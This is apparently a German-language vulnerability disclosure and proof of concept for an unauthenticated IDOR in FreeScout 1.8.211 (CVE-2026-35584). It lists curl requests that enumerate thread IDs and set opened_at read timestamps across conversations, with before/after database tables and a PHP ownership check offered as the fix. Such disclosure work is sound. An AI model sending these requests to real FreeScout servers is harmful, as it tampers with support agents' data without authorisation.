
Proof-of-Concept-Exploit für eine nicht authentifizierte IDOR-Schwachstelle in FreeScout, die die Aufzählung von Threads und die Manipulation des Lesestatus über manipulierte HTTP-Anfragen ermöglicht.
POC - CVE-2026-35584 FreeScout
Der Endpunkt GET /thread/read/{conversation_id}/{thread_id} erfordert keine Authentifizierung und validiert nicht, ob die angegebene thread_id zur angegebenen conversation_id gehört. Dadurch kann jeder nicht authentifizierte Angreifer:
Beliebige Threads als gelesen markieren, indem beliebige IDs übergeben werden Gültige Thread-IDs über HTTP-Antwortcodes (200 vs. 404) enumerieren opened_at-Zeitstempel über Konversationen hinweg manipulieren (IDOR)
Betroffene Version
1.8.211 (aktuell)
Zwei Konversationen erstellen (conv_id=1 und conv_id=2) Einen Thread in Konversation 2 erstellen (thread_id=3) Ohne jegliche Authentifizierung senden: GET /thread/read/1/3 In der Datenbank überprüfen — opened_at von thread_id=3 ist nun gesetzt, obwohl über die falsche conversation_id darauf zugegriffen wurde
curl -v "http://TARGET/thread/read/1/3"
Gibt HTTP 200 zurück und setzt opened_at bei Thread 3
Keine Authentifizierung erforderlich IDOR: thread_id wird nicht gegen conversation_id validiert Thread-Enumeration: HTTP 200 = gültiger Thread, 404 = ungültig Manipulation von Gelesen/Ungelesen-Metriken, die von Support-Agenten verwendet werden Bricht das Konversations-Isolationsmodell
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Thread-Enumeration (nicht authentifiziert)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (gültiger Thread)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (gültiger Thread)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - Thread gehört zu Konversation 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (ungültiger Thread)
Vorher: | id | conversation_id | opened_at | | 3 | 2 | NULL |
Nach GET /thread/read/1/3 (ohne Authentifizierung): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |